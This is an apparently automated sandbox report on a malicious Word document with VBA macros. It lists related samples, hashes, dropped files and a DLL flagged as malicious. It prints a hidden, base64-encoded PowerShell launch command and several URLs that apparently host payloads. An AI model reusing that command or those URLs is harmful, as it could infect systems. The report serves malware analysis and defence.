https://view.joesandbox.com/analysis/257080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257080/html/none?idtype=webid
https://view.joesandbox.com/analysis/257035/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257035/html/none?idtype=webid
https://view.joesandbox.com/analysis/256495/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256495/html/none?idtype=webid
https://view.joesandbox.com/analysis/256339/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256339/html/none?idtype=webid
https://view.joesandbox.com/analysis/256332/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256332/html/none?idtype=webid
https://view.joesandbox.com/analysis/257731/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257731/html/none?idtype=webid
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid
https://view.joesandbox.com/analysis/255441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255441/html/none?idtype=webid
https://view.joesandbox.com/analysis/255064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255064/html/none?idtype=webid
https://view.joesandbox.com/analysis/253493/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253493/html/none?idtype=webid
https://view.joesandbox.com/analysis/253061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253061/html/none?idtype=webid
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid
https://view.joesandbox.com/analysis/250801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250801/html/none?idtype=webid
https://view.joesandbox.com/analysis/250611/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250611/html/none?idtype=webid
https://view.joesandbox.com/analysis/250605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250605/html/none?idtype=webid
https://view.joesandbox.com/analysis/250600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250600/html/none?idtype=webid


Electronic form.doc Get hash malicious Browse 97.120.3.198

TZ8322852306TL.doc Get hash malicious Browse 97.120.3.198

www.appdailyhunt.com/alfasymlink/O1m92JJ5CJWxojdaFgjPc
IrL/

Get hash malicious Browse 97.120.3.198

www.appdailyhunt.com/alfasymlink/O1m92JJ5CJWxojdaFgjPc
IrL/

Get hash malicious Browse 97.120.3.198

https://dj.4zido.de/i/612BRNn/ Get hash malicious Browse 97.120.3.198

gluonpharma.com/fonts/W/ Get hash malicious Browse 97.120.3.198

fdwv4hWF1M.exe Get hash malicious Browse 75.162.127.230

bdOPjE89ck.dll Get hash malicious Browse 72.165.68.237

167.248.133.24 Get hash malicious Browse 167.248.133.24

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

3b5074b1b5d032e5620f69f9f700ff0e OOLU2115327710.xls.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

ITM inspection time change.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

shipping document.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

forderung.pdf.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

ROM_Files_939964.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

bLupWqls5l.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

Payment Receipt.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

UQtGj1Yzlf.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

INV-FACTUUR00921.xlsx Get hash malicious Browse 194.209.19
5.106
35.208.182.43

6729001591617.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

tQdHht8Bwc.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

SecuriteInfo.com.Trojan.PackedNET.471.11170.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

ttrpym.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

roboforex4multisetup.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

MV TAN BINH 135.pdf.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

SecuriteInfo.com.Variant.Zusy.363976.7571.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

SecuriteInfo.com.Trojan.PackedNET.519.21836.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

RFQ RPM202011-776JD.jpg.lnk Get hash malicious Browse 194.209.19
5.106
35.208.182.43

8Aobnx1VRi.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

JA3 Fingerprints
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https://view.joesandbox.com/analysis/250598/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250598/html/none?idtype=webid
https://view.joesandbox.com/analysis/250513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250513/html/none?idtype=webid
https://view.joesandbox.com/analysis/250486/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250486/html/none?idtype=webid
https://view.joesandbox.com/analysis/250484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250484/html/none?idtype=webid
https://view.joesandbox.com/analysis/250469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250469/html/none?idtype=webid
https://view.joesandbox.com/analysis/250438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250438/html/none?idtype=webid
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249617/html/none?idtype=webid
https://view.joesandbox.com/analysis/247287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247287/html/none?idtype=webid
https://view.joesandbox.com/analysis/247242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247242/html/none?idtype=webid
https://view.joesandbox.com/analysis/259981/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259981/html/none?idtype=webid
https://view.joesandbox.com/analysis/259975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259975/html/none?idtype=webid
https://view.joesandbox.com/analysis/259770/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259770/html/none?idtype=webid
https://view.joesandbox.com/analysis/259735/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259735/html/none?idtype=webid
https://view.joesandbox.com/analysis/259673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259673/html/none?idtype=webid
https://view.joesandbox.com/analysis/259600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259600/html/none?idtype=webid
https://view.joesandbox.com/analysis/259589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259589/html/none?idtype=webid
https://view.joesandbox.com/analysis/259370/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259370/html/none?idtype=webid
https://view.joesandbox.com/analysis/259269/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259269/html/none?idtype=webid
https://view.joesandbox.com/analysis/259041/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259041/html/none?idtype=webid
https://view.joesandbox.com/analysis/258824/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258824/html/none?idtype=webid
https://view.joesandbox.com/analysis/258778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258778/html/none?idtype=webid
https://view.joesandbox.com/analysis/258756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258756/html/none?idtype=webid
https://view.joesandbox.com/analysis/258466/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258466/html/none?idtype=webid
https://view.joesandbox.com/analysis/258456/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258456/html/none?idtype=webid
https://view.joesandbox.com/analysis/258278/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258278/html/none?idtype=webid
https://view.joesandbox.com/analysis/258268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258268/html/none?idtype=webid
https://view.joesandbox.com/analysis/258222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258222/html/none?idtype=webid
https://view.joesandbox.com/analysis/258096/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258096/html/none?idtype=webid


RFQ-Strip Casting Line.exe Get hash malicious Browse 194.209.19
5.106
35.208.182.43

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\DC97C0E2-E492-4CE8-9253-DB063F2B7EA0
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 132920

Entropy (8bit): 5.373078821495444

Encrypted: false

SSDEEP: 1536:CcQceNqaBtA3gZw+pQ9DQW+zAUH34ZldpKWXboOilXPErLL8Eh:irQ9DQW+zBX8P

MD5: 389C1461181EDC4905029C5E88D35AA2

SHA1: 3E61E8C9A9739C2D53D7610C129047C5B332BBCC

SHA-256: C967124C561BD6E97DE925820D6CE8B20C64B913D1E343AEFB80FCD9EF96075A

SHA-512: 74903A87EF4AB07D39F4E4DBCA642CEC14DDC9CA199A8559B710A55B10D0A92F6775202CF46E419213FE3B690CF660A5ADE38A5C1550410A5695112633E6D551

Malicious: false

Reputation: low

Preview:
<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-02-01T22:25:05">..    
Build: 16.0.13731.30525-->..  <o:default>..   <o:ticket o:headerName="Authorization" o:headerValue="{}" />..  </o:default>..  <o:service o:name="Research">..   <o:u
rl>https://rr.office.microsoft.com/research/query.asmx</o:url>..  </o:service>..  <o:service o:name="ORedir">..   <o:url>https://o15.officeredir.microsoft.com/r</o:url>..  
</o:service>..  <o:service o:name="ORedirSSL">..   <o:url>https://o15.officeredir.microsoft.com/r</o:url>..  </o:service>..  <o:service o:name="ClViewClientHelpId">..   
<o:url>https://[MAX.BaseHost]/client/results</o:url>..  </o:service>..  <o:service o:name="ClViewClientHome">..   <o:url>https://[MAX.BaseHost]/client/results</o:url>..  
</o:service>..  <o:service o:name="ClViewClientTemplate">..   <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>..  </o:service>..  <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{179EC3B7-37E0-4560-80F5-16F3BFE059F5}.tmp
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:ol3lYdn:4Wn

MD5: 5D4D94EE7E06BBB0AF9584119797B23A

SHA1: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Reputation: high, very likely benign file

Preview:
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{87200191-4D4F-4DCD-B181-904D5E386871}.tmp
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1536

Entropy (8bit): 1.3643824618899223

Encrypted: false

SSDEEP: 6:Iiiiiiiiii8l+4V/Nc8++ldL61DX6tD6pV2E6qn:23dNG+PmBqZ6pV2pq

MD5: 9731171E08A44D90DD005A586825086B

SHA1: FB904928494B5B3FEA79A40B4A6CA2F819790C25

SHA-256: 7C33C462A36BAAB96EB896B42428B656C709D767B9C870ED47A2191B2A4B663C

SHA-512: 4E689228FB0305952F5B8C4835B6F8D00F831B192AED6FD2F8EA0A7C3AD569A98428C2D74B3A7CD02A3B5F468FA0DF1B8DECA4F1F36BB6D8C44590CF4C5C74D
5

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/258087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258087/html/none?idtype=webid


Malicious: false

Reputation: low

Preview:
..(...(...(...(...(...(...(...(...(...(...(...p.r.a.t.e.s.h...p.....................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
.................."...&...*.......>...B.............................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{87200191-4D4F-4DCD-B181-904D5E386871}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 1196

Entropy (8bit): 5.33361024576829

Encrypted: false

SSDEEP: 24:3aZPpQrLAo4KAxX5qRPD42HrCvKLoFe9tCKnKJF9iq:qZPerB4nqRL/HrCvjFe9tC4anv

MD5: 3C95F06BAE25D8883754A9886A484998

SHA1: 74684406A7FE82F6476D5D9C9AA63E075871A80E

SHA-256: 9434B071A928518B9A14B79C07F4AD49F00E0E921C4FD868A4D8168E7ABFF938

SHA-512: 32B51A03132B3CD0566A0B15A792C5E94729EB272238803B9E01A79487794FCB8B8EEE9F3284EDDE7AA4DE28F782DE6C5016E228DAD284E7F91F7D05AF6108D
E

Malicious: false

Preview:
@...e................................................@..........8................'....L..}............System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0...............G-.o..
.A...4B..........System..4...............[...{a.C..%6..h.........System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Micro
soft.Management.Infrastructure.<................H..QN.Y.f............System.Management...@................Lo...QN......<Q........System.DirectoryServices4................Zg5..:O..g..q.......
...System.Xml..<................):gK..G...$.1.q........System.Configuration4...............T..'Z..N..Nvj.G.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Se
curity...<...............)L..Pz.O.E.R............System.Transactions.P................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........S
ystem.Configuration.Ins

C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 170164

Entropy (8bit): 4.358394535375791

Encrypted: false

SSDEEP: 1536:fr9jQo7LzolWWpFpKKHAeedydju4HTbTuo+o5aQxJudUl9yhQL3oKmmy:fr5g8WpFpKKHHedydFeo+oQLUlPoK0

MD5: 0CC8870D67DEEB05578F8107F79C3BC3

SHA1: 90F1F216A983DA75584021C20243330727655EC6

SHA-256: 997EDB52D239ECE12D62E6D41DD120AA74B013E8624498E352DC71F1B66E73B6

SHA-512: A8EEB1CA5B68D2A634726238AFFE761BF9C072629B3317E45B0CDA6D022E3B85F8157A4414F5857AE02585D4D6AB8953068E7F182B20D44FCDA14D03CF608A0A

Malicious: false

Preview:
MSFT................Q................................$......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<.........
..h.......0...........\.......$...........P...........|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&..
.&...'..t'...'..<(...(...)..h)...)..0*...*...*..\+...+..$,...,...,..P-...-......|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8...8...9..l9...9..4:...:...:..`;...;..
(<...<...<..T=...=...>...>...>..H?...?...@..t@...@..<A...A...B..hB.......l...B..........................$................................................ ...............................x...I..............T.........................
.................. ...................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gbmhr0zq.ixu.psm1
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510
A

Malicious: false

Preview:
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zyrecgys.4kk.ps1
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)
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Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510
A

Malicious: false

Preview:
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zyrecgys.4kk.ps1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 74

Entropy (8bit): 4.060710299033871

Encrypted: false

SSDEEP: 3:M1blG+kLtCLs+kLtCmX1blG+kLtCv:MrG+kLtys+kLtzG+kLts

MD5: D9D81D211C7D3FE392C07C615275BBC8

SHA1: D0AFA7424E42C91595D6AF3178CEB8118A742FC4

SHA-256: 8CA00953A5C409D8B6B2344A7DCD452A1A25A1F94E1034B2504919FFD123A8EB

SHA-512: FC4541A6A37F0D5AB6861417F2B68131D9C0C9708F3D413353EF11E71A721AE00E1F78BB0C78CAE1FB16DDCE2F39F86C75D780A9FDA863AF28301064F9B1A65C

Malicious: false

Preview:
[doc]..v22Pc0qA.doc.LNK=0..v22Pc0qA.doc.LNK=0..[doc]..v22Pc0qA.doc.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\v22Pc0qA.doc.LNK
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 06:35:53 2020, mtime=Mon Feb  1 21:25:06 2021, 
atime=Mon Feb  1 21:25:03 2021, length=207253, window=hide

Category: dropped

Size (bytes): 2130

Entropy (8bit): 4.7012569507367346

Encrypted: false

SSDEEP: 24:8eEzitpCAKQWAkbbDG7aB6myeEzitpCAKQWAkbbDG7aB6m:8TzitpD9krB6pTzitpD9krB6

MD5: 749427E569113450C7BA74A05F76CF1C

SHA1: 1BB4517F99A24C9540CBEE35AB75E8AC818DE60C

SHA-256: 17706A757CF169FFFAADE647211ADD561581721F26DFE0D62E427A82D6AEA4A6

SHA-512: 944A79BE7B7306A7166F1626562528A43168C3CE9A649C61923ED0D9AC0C09B7952FFFEBA5F2C5F24740AF7A086BF0B65103C12AE635C72D514216662F537ED3

Malicious: false

Preview:
L..................F.... ....B.S....?5...............)...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..AR......................:......;..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1
.8.1.3.....P.1.....>Q|<..user.<.......N..AR......#J....................I0H.j.o.n.e.s.....~.1.....>Q}<..Desktop.h.......N..AR.......Y..............>.......X.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.
2.1.7.6.9.....n.2..)..AR". .V22PC0~1.DOC..R......>Q{<AR"......V......................U.v.2.2.P.c.0.q.A...d.o.c...d.o.c.......V...............-.......U...........>.S......C:\Users\user\Deskto
p\v22Pc0qA.doc.doc..'.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.v.2.2.P.c.0.q.A...d.o.c...d.o.c.........:..,.LB.)...As...`.......X.......724536...........!a..%.H.VZAj....................!a..%.H.VZ
Aj...............................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.537027933460949

Encrypted: false

SSDEEP: 3:Rl/ZdHpljlqKVCd9lqKJBZpMDZl:RtZBplUOCdKSBZpMDZl

MD5: 62D2E9D0E5A00A4933B40C773F2A3521

SHA1: D129090958A7122B098FD1CDE5A80D5FF74E9CF5

SHA-256: 61314B84034510BCE3DEF89D73551BE6385E9FF831736409B9A0843325927252

SHA-512: 563CF8AA385591CCEAE68A2E3E61D0CC7E4567A7D0C6B11BFAAEE690569C1A0194D7CF1CFA18B9FD8BBE4A61DB1BDD3C52AD0A913FC5498F42E2CE36BEEF
2D78

Malicious: false

Preview:
.pratesh................................................p.r.a.t.e.s.h..........@q.............H.......6C.......@}.............T.......6C.......@y.......lpc......
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C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: Little-endian UTF-16 Unicode text, with CR line terminators

Category: dropped

Size (bytes): 22

Entropy (8bit): 2.9808259362290785

Encrypted: false

SSDEEP: 3:QAlX0Gn:QKn

MD5: 7962B839183642D3CDC2F9CEBDBF85CE

SHA1: 2BE8F6F309962ED367866F6E70668508BC814C2D

SHA-256: 5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4C4AC4A6514F6

SHA-512: 2C332AC29FD3FAB66DBD918D60F9BE78B589B090282ED3DBEA02C4426F6627E4AAFC4C13FBCA09EC4925EAC3ED4F8662FDF1D7FA5C9BE714F8A7B993BECB3
342

Malicious: false

Preview:
....p.r.a.t.e.s.h.....

C:\Users\user\Desktop\~$2Pc0qA.doc.doc
Process: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.537027933460949

Encrypted: false

SSDEEP: 3:Rl/ZdHpljlqKVCd9lqKJBZpMDZl:RtZBplUOCdKSBZpMDZl

MD5: 62D2E9D0E5A00A4933B40C773F2A3521

SHA1: D129090958A7122B098FD1CDE5A80D5FF74E9CF5

SHA-256: 61314B84034510BCE3DEF89D73551BE6385E9FF831736409B9A0843325927252

SHA-512: 563CF8AA385591CCEAE68A2E3E61D0CC7E4567A7D0C6B11BFAAEE690569C1A0194D7CF1CFA18B9FD8BBE4A61DB1BDD3C52AD0A913FC5498F42E2CE36BEEF
2D78

Malicious: false

Preview:
.pratesh................................................p.r.a.t.e.s.h..........@q.............H.......6C.......@}.............T.......6C.......@y.......lpc......

C:\Users\user\Documents\20210201\PowerShell_transcript.724536.D_cV0UCD.20210201232511.txt
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 11663

Entropy (8bit): 5.028707508716467

Encrypted: false

SSDEEP: 192:yS0NsjXDzcYlm8nuVF9M1GBgovhkssrx0DYQ4+B5mxEk:6kXDTUvhk7x0Dxlm1

MD5: 870345A71AAB7D049F25966FF1779C26

SHA1: 8BAE23F02C27D9A661D44B25584E5196752051AD

SHA-256: FCA635B949AAA3782CBD70493B1CBBF8CBBB1DB4D6183136DF335A615F081B09

SHA-512: A5BEADCAB0A2F4C1663830365F5940102F653202A14316E85A6A9AF9D3351D04045E8D9D354D82C39FD6AB942AF4BFDA04F78789D2B93B7A3A75E7ED9B9BD13
E

Malicious: false

Preview:
.**********************..Windows PowerShell transcript start..Start time: 20210201232511..Username: computer\user..RunAs User: computer\user..Configuration Name: 
..Machine: 724536 (Microsoft Windows NT 10.0.17134.0)..Host Application: POwersheLL -w hidden -ENCOD IAAkAEMAcgBBACAAPQAgAFsAVAB5AFAARQBdA
CgAIgB7ADMAfQB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBGACAAJwBlAG0ALgBJAE8ALgAnACwAJwBTAHQAJwAsACcAZABpAHIAZQBDAHQATwByAHkAJwAsA
CcAcwBZACcAKQAgADsAIABTAFYAIAAgACgAIgA1AGgAdgAiACsAIgAxAHoAIgApACAAIAAoAFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADIAfQB7ADQAfQB7A
DMAfQB7ADAAfQAiAC0AZgAnAG4AQQBHAGUAUgAnACwAJwBzAFkAcwB0AEUAJwAsACcATQAuAE4AZQB0AC4AUwBlAFIAVgBpAGMAJwAsACcAQQA
nACwAJwBlAHAATwBpAE4AVABtACcAKQAgACAAKQAgADsAIAAkAEEAdgBuAG4AMAB1AGYAPQAoACgAJwBUAHkANwBuACcAKwAnADAAJwApACsAJ
wBzAGMAJwApADsAJABIADIAcQA2AHEAcAB6AD0AJABVAG0AYwByAHUAZwAxACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABZAHY
AawA2AGgAYwBwADsAJABOADYANgA3AGMAbABsAD0AKAAnAFAAJwArACgAJwA0AG0AJwArACcAcwAnACkAKwAoACcAdgAnACsAJwByAHMAJwApACk

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 228352

Entropy (8bit): 7.401227982577977

Encrypted: false

SSDEEP: 3072:Q2JsbTQ7oRiTPy6758RAuiGsIwuVKiCJ0/ykN8t+XPjf7z3I43:Q2JCIoRSi1iGsuwfJ0KkU+XPjQ

MD5: 1BCF5E93610C3774A59240E10932A252

SHA1: 61D3C80B5E71F136E2D7039AA9D5F41E2595BBF0

SHA-256: F5736A1F0C40D3609BA0C394FE424795D71E19A6B57AB55CA9C6F49B79485C27
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Static File Info

General
File type: Composite Document File V2 Document, Little Endian, 

Os: Windows, Version 6.2, Code page: 1252, Subject: 
extensible Automotive generate withdrawal Wooden 
Global architecture, Author: Chlo Gerard, Template: 
Normal.dotm, Last Saved By: Thomas Roussel, R
evision Number: 1, Name of Creating Application: M
icrosoft Office Word, Create Time/Date: Mon Dec 21 
13:51:00 2020, Last Saved Time/Date: Mon Dec 21 1
3:51:00 2020, Number of Pages: 1, Number of Words: 
5943, Number of Characters: 33877, Security: 8

Entropy (8bit): 6.406111255633529

TrID: Microsoft Word document (32009/1) 54.23%
Microsoft Word document (old ver.) (19008/1) 
32.20%
Generic OLE2 / Multistream Compound File 
(8008/1) 13.57%

File name: v22Pc0qA.doc.doc

File size: 207253

MD5: 7a7d325948481b0557b035249bf5c96a

SHA1: 0529727ffad8388fc94155d1652ca65189cda5df

SHA256: 47e4926bc53fb131b2e976d7b1c2f4b3c0f665242aa493d
7e21b4df773b60919

SHA512: 45cf99bad712aaace79010c728705117fc12ac76d76f625
716115a19477ce40de5d18ecaca8e84ea55c388d4436d4
827ab63c660df86dcdc01c5c8ce975dda44

SSDEEP: 3072:MD9ufstRUUKSns8T00JSHUgteMJ8qMD7g5bkx
U7PoU2l65gsaTs:Y9ufsfgIf0pLkU7PoU2lIgsaTs

File Content Preview: ........................>.......................9...........<...............6...7...
8.......................................................................................
...................................................................................

File Icon

Icon Hash: 74f4c4c6c1cac4d8

SHA-512: 1D57B47A0134D09677AA18356A0A351D335414901BB8B35DA31ACFA43CFBB3F1C76ECEB14F98E915495ECB923BEA23C3F9BC5D711F041F44DCAD6142071B23F
2

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 56%, Browse
Antivirus: ReversingLabs, Detection: 96%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y.LC.."..."...".......".....a."...#.d.".:4Y...".....%.".......".......".......".Ri
ch..".........................PE..L....H._...........!.....J..........uz.......`.......................................W..............................p...I.......<......................................................................@............`..\
............................text...wH.......J.................. ..`.rdata...G...`...H...N..............@..@.data...d2..........................@....rsrc...............................@..@.reloc...".......$...X...........
...@..B.............................................................................................................................................................................................................................................................
...........................................................

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll

General
Document Type: OLE

Number of OLE Files: 1

Indicators
Has Summary Info: True

Application Name: Microsoft Office Word

Encrypted Document: False

Contains Word Document Stream: True

Contains Workbook/Book Stream: False

Contains PowerPoint Document Stream: False

Static OLE Info

OLE File "v22Pc0qA.doc.doc"
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Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Indicators

Summary
Code Page: 1252

Title:

Subject: extensible Automotive generate withdrawal Wooden Global architecture

Author: Chlo Gerard

Keywords:

Comments:

Template: Normal.dotm

Last Saved By: Thomas Roussel

Revion Number: 1

Total Edit Time: 0

Create Time: 2020-12-21 13:51:00

Last Saved Time: 2020-12-21 13:51:00

Number of Pages: 1

Number of Words: 5943

Number of Characters: 33877

Creating Application: Microsoft Office Word

Security: 8

Document Summary
Document Code Page: 1252

Number of Lines: 282

Number of Paragraphs: 79

Thumbnail Scaling Desired: False

Company:

Contains Dirty Links: False

Shared Document: False

Changed Hyperlinks: False

Application Version: 983040

General

Stream Path: Macros/UserForm1

VBA File Name: UserForm1

Stream Size: -1

Data ASCII:

Data Raw:

VBA Code

Keyword

VB_Exposed

Attribute

VB_Name

VB_Creatable

VB_PredeclaredId

VB_GlobalNameSpace

VB_Base

VB_Customizable

False

VB_TemplateDerived

Streams with VBA

